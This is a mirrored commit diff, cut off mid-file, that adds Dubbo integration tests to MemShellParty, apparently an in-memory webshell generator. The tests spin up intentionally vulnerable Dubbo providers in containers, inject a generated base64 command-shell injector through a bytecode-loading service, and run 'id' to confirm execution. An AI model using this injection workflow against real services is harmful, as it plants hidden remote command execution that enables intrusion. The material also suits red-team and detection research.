mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
test: add dubbo integration-test
This commit is contained in:
@@ -9,6 +9,7 @@ on:
|
|||||||
- './github/workflows/memshell-integration-test.yml'
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
- '**/memshell/**'
|
- '**/memshell/**'
|
||||||
- '**/packer/**'
|
- '**/packer/**'
|
||||||
|
- '**/dubbo/**'
|
||||||
|
|
||||||
concurrency:
|
concurrency:
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
@@ -54,6 +55,8 @@ jobs:
|
|||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "geronimo"
|
- middleware: "geronimo"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "dubbo"
|
||||||
|
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
@@ -73,10 +76,15 @@ jobs:
|
|||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
- name: Integration Test with gradle
|
||||||
|
if: matrix.cases.middleware != 'dubbo'
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Dubbo Integration Test with gradle
|
||||||
|
if: matrix.cases.middleware == 'dubbo'
|
||||||
|
run: ./gradlew :integration-test:dubboContainerTest --info
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
uses: mikepenz/action-junit-report@v5
|
uses: mikepenz/action-junit-report@v5
|
||||||
if: success() || failure()
|
if: success() || failure()
|
||||||
with:
|
with:
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
report_paths: '**/build/test-results/*/TEST-*.xml'
|
||||||
|
|||||||
@@ -7,6 +7,9 @@ plugins {
|
|||||||
group = "io.github.reajason"
|
group = "io.github.reajason"
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
|
evaluationDependsOn(":vul:vul-dubbo")
|
||||||
|
evaluationDependsOn(":tools:command")
|
||||||
|
|
||||||
idea {
|
idea {
|
||||||
module {
|
module {
|
||||||
excludeDirs.add(file("src/main"))
|
excludeDirs.add(file("src/main"))
|
||||||
@@ -36,8 +39,41 @@ dependencies {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
tasks.test {
|
val dubboProviderProject = project(":vul:vul-dubbo")
|
||||||
useJUnitPlatform()
|
val dubboCommandProject = project(":tools:command")
|
||||||
|
|
||||||
|
fun dubboProviderJar(taskName: String): Provider<String> {
|
||||||
|
return dubboProviderProject.tasks.named<Jar>(taskName).flatMap { task ->
|
||||||
|
task.archiveFile.map { it.asFile.absolutePath }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun dubboClientClasspath(clientKind: String): Provider<String> {
|
||||||
|
return dubboCommandProject.layout.buildDirectory.file("dubbo-client-classpaths/$clientKind.txt").map {
|
||||||
|
it.asFile.readText()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun Test.configureDubboSystemProperties() {
|
||||||
|
dependsOn(":vul:vul-dubbo:dubboProviderFatJars", ":tools:command:dubboClientClasspath")
|
||||||
|
val systemProperties = mapOf(
|
||||||
|
"dubbo.alibaba.client.classpath" to dubboClientClasspath("alibaba"),
|
||||||
|
"dubbo.apache.client.classpath" to dubboClientClasspath("apache"),
|
||||||
|
"dubbo.alibaba.provider.jar" to dubboProviderJar("dubboAlibabaProviderFatJar"),
|
||||||
|
"dubbo.apache276.provider.jar" to dubboProviderJar("dubboApache276ProviderFatJar"),
|
||||||
|
"dubbo.apache277.provider.jar" to dubboProviderJar("dubboApache277ProviderFatJar"),
|
||||||
|
"dubbo.apache278.provider.jar" to dubboProviderJar("dubboApache278ProviderFatJar"),
|
||||||
|
"dubbo.apache2723.provider.jar" to dubboProviderJar("dubboApache2723ProviderFatJar"),
|
||||||
|
"dubbo.apache336.provider.jar" to dubboProviderJar("dubboApache336ProviderFatJar")
|
||||||
|
)
|
||||||
|
doFirst {
|
||||||
|
systemProperties.forEach { (key, value) ->
|
||||||
|
systemProperty(key, value.get())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun Test.configureIntegrationJvm() {
|
||||||
jvmArgs(
|
jvmArgs(
|
||||||
"--add-opens=java.base/java.util=ALL-UNNAMED",
|
"--add-opens=java.base/java.util=ALL-UNNAMED",
|
||||||
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
|
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
|
||||||
@@ -47,3 +83,23 @@ tasks.test {
|
|||||||
events("passed", "skipped", "failed")
|
events("passed", "skipped", "failed")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform {
|
||||||
|
excludeTags("dubbo-container")
|
||||||
|
}
|
||||||
|
configureIntegrationJvm()
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register<Test>("dubboContainerTest") {
|
||||||
|
group = "verification"
|
||||||
|
description = "Runs DubboService provider/client integration tests."
|
||||||
|
testClassesDirs = sourceSets.test.get().output.classesDirs
|
||||||
|
classpath = sourceSets.test.get().runtimeClasspath
|
||||||
|
useJUnitPlatform {
|
||||||
|
includeTags("dubbo-container")
|
||||||
|
}
|
||||||
|
dependsOn("testClasses")
|
||||||
|
configureDubboSystemProperties()
|
||||||
|
configureIntegrationJvm()
|
||||||
|
}
|
||||||
|
|||||||
+36
@@ -0,0 +1,36 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Tag;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
@Testcontainers
|
||||||
|
@Tag("dubbo-container")
|
||||||
|
class AlibabaDubbo2612ContainerTest {
|
||||||
|
|
||||||
|
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
|
||||||
|
"alibaba-dubbo-2.6.12",
|
||||||
|
"alibaba",
|
||||||
|
"dubbo.alibaba.provider.jar",
|
||||||
|
"eclipse-temurin:8-jre",
|
||||||
|
20880,
|
||||||
|
Opcodes.V1_8,
|
||||||
|
List.of(
|
||||||
|
new DubboProtocolTarget("dubbo", 20880),
|
||||||
|
new DubboProtocolTarget("hessian", 28080)
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testDubboServiceRegistration() {
|
||||||
|
DubboServiceAssertion.assertCommandService(container, SCENARIO);
|
||||||
|
}
|
||||||
|
}
|
||||||
+84
@@ -0,0 +1,84 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Tag;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
@Testcontainers
|
||||||
|
@Tag("dubbo-container")
|
||||||
|
class ApacheDubbo27xContainerTest {
|
||||||
|
|
||||||
|
private static final String IMAGE = "eclipse-temurin:17-jdk";
|
||||||
|
|
||||||
|
private static final DubboProviderScenario APACHE_276 = apacheScenario(
|
||||||
|
"apache-dubbo-2.7.6",
|
||||||
|
"dubbo.apache276.provider.jar",
|
||||||
|
20885,
|
||||||
|
28086
|
||||||
|
);
|
||||||
|
private static final DubboProviderScenario APACHE_277 = apacheScenario(
|
||||||
|
"apache-dubbo-2.7.7",
|
||||||
|
"dubbo.apache277.provider.jar",
|
||||||
|
20886,
|
||||||
|
28088
|
||||||
|
);
|
||||||
|
private static final DubboProviderScenario APACHE_278 = apacheScenario(
|
||||||
|
"apache-dubbo-2.7.8",
|
||||||
|
"dubbo.apache278.provider.jar",
|
||||||
|
20887,
|
||||||
|
28090
|
||||||
|
);
|
||||||
|
private static final DubboProviderScenario APACHE_2723 = apacheScenario(
|
||||||
|
"apache-dubbo-2.7.23",
|
||||||
|
"dubbo.apache2723.provider.jar",
|
||||||
|
20881,
|
||||||
|
28082
|
||||||
|
);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> apache276 = DubboContainerFactory.buildProvider(APACHE_276);
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> apache277 = DubboContainerFactory.buildProvider(APACHE_277);
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> apache278 = DubboContainerFactory.buildProvider(APACHE_278);
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> apache2723 = DubboContainerFactory.buildProvider(APACHE_2723);
|
||||||
|
|
||||||
|
static Stream<Arguments> scenarios() {
|
||||||
|
return Stream.of(
|
||||||
|
Arguments.of(apache276, APACHE_276),
|
||||||
|
Arguments.of(apache277, APACHE_277),
|
||||||
|
Arguments.of(apache278, APACHE_278),
|
||||||
|
Arguments.of(apache2723, APACHE_2723)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{1}")
|
||||||
|
@MethodSource("scenarios")
|
||||||
|
void testDubboServiceRegistration(GenericContainer<?> container, DubboProviderScenario scenario) {
|
||||||
|
DubboServiceAssertion.assertCommandService(container, scenario);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static DubboProviderScenario apacheScenario(String name, String providerJarProperty, int dubboPort, int hessianPort) {
|
||||||
|
return new DubboProviderScenario(
|
||||||
|
name,
|
||||||
|
"apache",
|
||||||
|
providerJarProperty,
|
||||||
|
IMAGE,
|
||||||
|
dubboPort,
|
||||||
|
Opcodes.V1_8,
|
||||||
|
List.of(
|
||||||
|
new DubboProtocolTarget("dubbo", dubboPort),
|
||||||
|
new DubboProtocolTarget("hessian", hessianPort)
|
||||||
|
)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
+37
@@ -0,0 +1,37 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Tag;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
@Testcontainers
|
||||||
|
@Tag("dubbo-container")
|
||||||
|
class ApacheDubbo336ContainerTest {
|
||||||
|
|
||||||
|
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
|
||||||
|
"apache-dubbo-3.3.6",
|
||||||
|
"apache",
|
||||||
|
"dubbo.apache336.provider.jar",
|
||||||
|
"eclipse-temurin:17-jdk",
|
||||||
|
20882,
|
||||||
|
Opcodes.V1_8,
|
||||||
|
List.of(
|
||||||
|
new DubboProtocolTarget("dubbo", 20882),
|
||||||
|
new DubboProtocolTarget("hessian", 28084),
|
||||||
|
new DubboProtocolTarget("tri", 50051)
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testDubboServiceRegistration() {
|
||||||
|
DubboServiceAssertion.assertCommandService(container, SCENARIO);
|
||||||
|
}
|
||||||
|
}
|
||||||
+130
@@ -0,0 +1,130 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
|
||||||
|
final class DubboClientRunner {
|
||||||
|
|
||||||
|
private DubboClientRunner() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static String loadBytes(String clientKind, String url, String base64) {
|
||||||
|
return run(clientKind, "load-bytes", url, base64);
|
||||||
|
}
|
||||||
|
|
||||||
|
static String runCommand(String clientKind, String url, String interfaceName, String command) {
|
||||||
|
return run(clientKind, "run-command", url, interfaceName, command);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private static String run(String clientKind, String... args) {
|
||||||
|
List<String> command = new ArrayList<String>();
|
||||||
|
String javaExecutable = javaExecutable(clientKind);
|
||||||
|
command.add(javaExecutable);
|
||||||
|
if (supportsAddOpens(javaExecutable)) {
|
||||||
|
command.add("--add-opens=java.base/java.lang=ALL-UNNAMED");
|
||||||
|
command.add("--add-opens=java.base/java.math=ALL-UNNAMED");
|
||||||
|
}
|
||||||
|
command.add("-cp");
|
||||||
|
command.add(clientClasspath(clientKind));
|
||||||
|
command.add(mainClass(clientKind));
|
||||||
|
for (String arg : args) {
|
||||||
|
command.add(arg);
|
||||||
|
}
|
||||||
|
|
||||||
|
Process process = new ProcessBuilder(command)
|
||||||
|
.redirectErrorStream(true)
|
||||||
|
.start();
|
||||||
|
ByteArrayOutputStream output = new ByteArrayOutputStream();
|
||||||
|
copy(process.getInputStream(), output);
|
||||||
|
int exitCode = process.waitFor();
|
||||||
|
String rendered = output.toString(StandardCharsets.UTF_8).trim();
|
||||||
|
if (exitCode != 0) {
|
||||||
|
throw new IllegalStateException("Dubbo client failed with exit code " + exitCode + "\n" + rendered);
|
||||||
|
}
|
||||||
|
return rendered;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String clientClasspath(String clientKind) {
|
||||||
|
String property = System.getProperty("dubbo." + clientKind + ".client.classpath");
|
||||||
|
if (isBlank(property)) {
|
||||||
|
throw new IllegalStateException("missing dubbo." + clientKind + ".client.classpath system property");
|
||||||
|
}
|
||||||
|
return property;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String mainClass(String clientKind) {
|
||||||
|
if ("alibaba".equals(clientKind)) {
|
||||||
|
return "io.github.reajason.dubbo.fixture.client.alibaba.AlibabaDubboClient";
|
||||||
|
}
|
||||||
|
if ("apache".equals(clientKind)) {
|
||||||
|
return "io.github.reajason.dubbo.fixture.client.apache.ApacheDubboClient";
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unsupported client kind: " + clientKind);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String javaExecutable(String clientKind) {
|
||||||
|
if (!"alibaba".equals(clientKind)) {
|
||||||
|
return "java";
|
||||||
|
}
|
||||||
|
String java8Home = System.getenv("JAVA8_HOME");
|
||||||
|
if (isBlank(java8Home)) {
|
||||||
|
java8Home = System.getProperty("java8.home");
|
||||||
|
}
|
||||||
|
if (isBlank(java8Home)) {
|
||||||
|
return "java";
|
||||||
|
}
|
||||||
|
return java8Home + "/bin/java";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean supportsAddOpens(String javaExecutable) throws java.io.IOException, InterruptedException {
|
||||||
|
Process process = new ProcessBuilder(javaExecutable, "-version")
|
||||||
|
.redirectErrorStream(true)
|
||||||
|
.start();
|
||||||
|
ByteArrayOutputStream output = new ByteArrayOutputStream();
|
||||||
|
copy(process.getInputStream(), output);
|
||||||
|
int exitCode = process.waitFor();
|
||||||
|
if (exitCode != 0) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return majorVersion(output.toString(StandardCharsets.UTF_8)) >= 9;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int majorVersion(String versionOutput) {
|
||||||
|
Matcher matcher = Pattern.compile("version \"([^\"]+)\"").matcher(versionOutput);
|
||||||
|
if (!matcher.find()) {
|
||||||
|
return 9;
|
||||||
|
}
|
||||||
|
String version = matcher.group(1);
|
||||||
|
if (version.startsWith("1.")) {
|
||||||
|
int dot = version.indexOf('.', 2);
|
||||||
|
return leadingInteger(dot < 0 ? version.substring(2) : version.substring(2, dot));
|
||||||
|
}
|
||||||
|
int dot = version.indexOf('.');
|
||||||
|
return leadingInteger(dot < 0 ? version : version.substring(0, dot));
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int leadingInteger(String value) {
|
||||||
|
Matcher matcher = Pattern.compile("^(\\d+)").matcher(value);
|
||||||
|
return matcher.find() ? Integer.parseInt(matcher.group(1)) : 9;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean isBlank(String value) {
|
||||||
|
return value == null || value.trim().isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void copy(InputStream inputStream, ByteArrayOutputStream outputStream) throws java.io.IOException {
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int read;
|
||||||
|
while ((read = inputStream.read(buffer)) >= 0) {
|
||||||
|
outputStream.write(buffer, 0, read);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+56
@@ -0,0 +1,56 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.time.Duration;
|
||||||
|
|
||||||
|
final class DubboContainerFactory {
|
||||||
|
|
||||||
|
private DubboContainerFactory() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static GenericContainer<?> buildProvider(DubboProviderScenario scenario) {
|
||||||
|
String jarPath = providerJarPath(scenario.providerJarProperty());
|
||||||
|
GenericContainer<?> container = new GenericContainer<>(scenario.imageName())
|
||||||
|
.withCopyFileToContainer(MountableFile.forHostPath(jarPath), "/app/app.jar")
|
||||||
|
.withWorkingDirectory("/app")
|
||||||
|
.withExposedPorts(exposedPorts(scenario))
|
||||||
|
.waitingFor(Wait.forLogMessage(".*Provider started.*", 1)
|
||||||
|
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||||
|
|
||||||
|
if ("alibaba".equals(scenario.clientKind())) {
|
||||||
|
container.withCommand("java", "-jar", "/app/app.jar");
|
||||||
|
} else {
|
||||||
|
container.withCommand(
|
||||||
|
"java",
|
||||||
|
"--add-opens", "java.base/java.lang=ALL-UNNAMED",
|
||||||
|
"--add-opens", "java.base/java.math=ALL-UNNAMED",
|
||||||
|
"-jar", "/app/app.jar"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Integer[] exposedPorts(DubboProviderScenario scenario) {
|
||||||
|
return scenario.commandTargets().stream()
|
||||||
|
.map(DubboProtocolTarget::port)
|
||||||
|
.distinct()
|
||||||
|
.toArray(Integer[]::new);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String providerJarPath(String propertyName) {
|
||||||
|
String value = System.getProperty(propertyName);
|
||||||
|
if (value == null || value.trim().isEmpty()) {
|
||||||
|
throw new IllegalStateException("missing " + propertyName + " system property");
|
||||||
|
}
|
||||||
|
Path path = Path.of(value);
|
||||||
|
if (!Files.isRegularFile(path)) {
|
||||||
|
throw new IllegalStateException("provider jar does not exist: " + path);
|
||||||
|
}
|
||||||
|
return path.toAbsolutePath().toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+27
@@ -0,0 +1,27 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
final class DubboProtocolTarget {
|
||||||
|
private final String protocol;
|
||||||
|
private final int port;
|
||||||
|
|
||||||
|
DubboProtocolTarget(String protocol, int port) {
|
||||||
|
this.protocol = protocol;
|
||||||
|
this.port = port;
|
||||||
|
}
|
||||||
|
|
||||||
|
String protocol() {
|
||||||
|
return protocol;
|
||||||
|
}
|
||||||
|
|
||||||
|
int port() {
|
||||||
|
return port;
|
||||||
|
}
|
||||||
|
|
||||||
|
String url(String host, String interfaceName) {
|
||||||
|
return protocol + "://" + host + ":" + port + "/" + interfaceName;
|
||||||
|
}
|
||||||
|
|
||||||
|
String url(String host, int mappedPort, String interfaceName) {
|
||||||
|
return protocol + "://" + host + ":" + mappedPort + "/" + interfaceName;
|
||||||
|
}
|
||||||
|
}
|
||||||
+66
@@ -0,0 +1,66 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
final class DubboProviderScenario {
|
||||||
|
private final String name;
|
||||||
|
private final String clientKind;
|
||||||
|
private final String providerJarProperty;
|
||||||
|
private final String imageName;
|
||||||
|
private final int loaderPort;
|
||||||
|
private final int targetJdkVersion;
|
||||||
|
private final List<DubboProtocolTarget> commandTargets;
|
||||||
|
|
||||||
|
DubboProviderScenario(String name, String clientKind, String providerJarProperty, String imageName,
|
||||||
|
int loaderPort, int targetJdkVersion, List<DubboProtocolTarget> commandTargets) {
|
||||||
|
this.name = name;
|
||||||
|
this.clientKind = clientKind;
|
||||||
|
this.providerJarProperty = providerJarProperty;
|
||||||
|
this.imageName = imageName;
|
||||||
|
this.loaderPort = loaderPort;
|
||||||
|
this.targetJdkVersion = targetJdkVersion;
|
||||||
|
this.commandTargets = commandTargets;
|
||||||
|
}
|
||||||
|
|
||||||
|
String name() {
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
String clientKind() {
|
||||||
|
return clientKind;
|
||||||
|
}
|
||||||
|
|
||||||
|
String providerJarProperty() {
|
||||||
|
return providerJarProperty;
|
||||||
|
}
|
||||||
|
|
||||||
|
String imageName() {
|
||||||
|
return imageName;
|
||||||
|
}
|
||||||
|
|
||||||
|
int loaderPort() {
|
||||||
|
return loaderPort;
|
||||||
|
}
|
||||||
|
|
||||||
|
int targetJdkVersion() {
|
||||||
|
return targetJdkVersion;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<DubboProtocolTarget> commandTargets() {
|
||||||
|
return commandTargets;
|
||||||
|
}
|
||||||
|
|
||||||
|
String shellType() {
|
||||||
|
if ("alibaba".equals(clientKind)) {
|
||||||
|
return ShellType.ALIBABA_DUBBO_SERVICE;
|
||||||
|
}
|
||||||
|
return ShellType.APACHE_DUBBO_SERVICE;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
}
|
||||||
+64
@@ -0,0 +1,64 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.hamcrest.Matchers.anyOf;
|
||||||
|
import static org.hamcrest.Matchers.containsString;
|
||||||
|
|
||||||
|
@Slf4j
|
||||||
|
final class DubboServiceAssertion {
|
||||||
|
|
||||||
|
private static final String LOADER_INTERFACE = "io.github.reajason.dubbo.fixture.api.BytecodeLoadingService";
|
||||||
|
private static final String COMMAND = "id";
|
||||||
|
|
||||||
|
private DubboServiceAssertion() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static void assertCommandService(GenericContainer<?> container, DubboProviderScenario scenario) {
|
||||||
|
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(
|
||||||
|
scenario.shellType(),
|
||||||
|
ShellTool.Command,
|
||||||
|
Packers.Base64
|
||||||
|
);
|
||||||
|
MemShellResult result = ShellAssertion.generate(
|
||||||
|
null,
|
||||||
|
Server.Dubbo,
|
||||||
|
null,
|
||||||
|
scenario.shellType(),
|
||||||
|
ShellTool.Command,
|
||||||
|
scenario.targetJdkVersion(),
|
||||||
|
shellToolConfig,
|
||||||
|
Packers.Base64
|
||||||
|
);
|
||||||
|
String interfaceName = result.getInjectorConfig().getUrlPattern();
|
||||||
|
String host = container.getHost();
|
||||||
|
String loaderUrl = "dubbo://" + host + ":" + container.getMappedPort(scenario.loaderPort()) + "/" + LOADER_INTERFACE;
|
||||||
|
|
||||||
|
log.info("loading {} into {} via {}", interfaceName, scenario.name(), loaderUrl);
|
||||||
|
String loadOutput = DubboClientRunner.loadBytes(scenario.clientKind(), loaderUrl, result.getInjectorBytesBase64Str());
|
||||||
|
log.info("{} load output: {}", scenario.name(), loadOutput);
|
||||||
|
|
||||||
|
List<String> fallbackUrls = scenario.commandTargets().stream()
|
||||||
|
.map(target -> target.url(host, container.getMappedPort(target.port()), interfaceName))
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
List<String> commandUrls = DubboUrlResolver.resolveCommandUrls(loadOutput, interfaceName, fallbackUrls);
|
||||||
|
|
||||||
|
for (String commandUrl : commandUrls) {
|
||||||
|
String output = DubboClientRunner.runCommand(scenario.clientKind(), commandUrl, interfaceName, COMMAND);
|
||||||
|
log.info("{} {} command output: {}", scenario.name(), DubboUrlResolver.protocolOf(commandUrl), output);
|
||||||
|
assertThat(output, anyOf(containsString("uid="), containsString("injected-ok")));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+72
@@ -0,0 +1,72 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import java.net.URI;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
final class DubboUrlResolver {
|
||||||
|
|
||||||
|
private DubboUrlResolver() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static List<String> resolveCommandUrls(String loadOutput, String interfaceName, List<String> fallbackUrls) {
|
||||||
|
Map<String, String> discoveredByProtocol = new LinkedHashMap<String, String>();
|
||||||
|
Pattern pattern = Pattern.compile("(dubbo|hessian|tri)://[^\\s,]*" + Pattern.quote(interfaceName) + "(?:\\?[^\\s,]*)?");
|
||||||
|
Matcher matcher = pattern.matcher(loadOutput);
|
||||||
|
while (matcher.find()) {
|
||||||
|
String candidate = matcher.group();
|
||||||
|
discoveredByProtocol.put(protocolOf(candidate), candidate);
|
||||||
|
}
|
||||||
|
return fallbackUrls.stream()
|
||||||
|
.map(fallback -> {
|
||||||
|
String discovered = discoveredByProtocol.get(protocolOf(fallback));
|
||||||
|
return discovered == null ? fallback : rewriteEndpoint(discovered, fallback);
|
||||||
|
})
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
}
|
||||||
|
|
||||||
|
static String protocolOf(String url) {
|
||||||
|
int separator = url.indexOf("://");
|
||||||
|
return separator < 0 ? url : url.substring(0, separator);
|
||||||
|
}
|
||||||
|
|
||||||
|
static String rewriteHost(String url, String host) {
|
||||||
|
try {
|
||||||
|
URI uri = new URI(url);
|
||||||
|
return new URI(
|
||||||
|
uri.getScheme(),
|
||||||
|
uri.getUserInfo(),
|
||||||
|
host,
|
||||||
|
uri.getPort(),
|
||||||
|
uri.getPath(),
|
||||||
|
uri.getQuery(),
|
||||||
|
uri.getFragment()
|
||||||
|
).toString();
|
||||||
|
} catch (URISyntaxException e) {
|
||||||
|
throw new IllegalArgumentException("invalid direct url: " + url, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static String rewriteEndpoint(String url, String endpointUrl) {
|
||||||
|
try {
|
||||||
|
URI uri = new URI(url);
|
||||||
|
URI endpoint = new URI(endpointUrl);
|
||||||
|
return new URI(
|
||||||
|
uri.getScheme(),
|
||||||
|
uri.getUserInfo(),
|
||||||
|
endpoint.getHost(),
|
||||||
|
endpoint.getPort(),
|
||||||
|
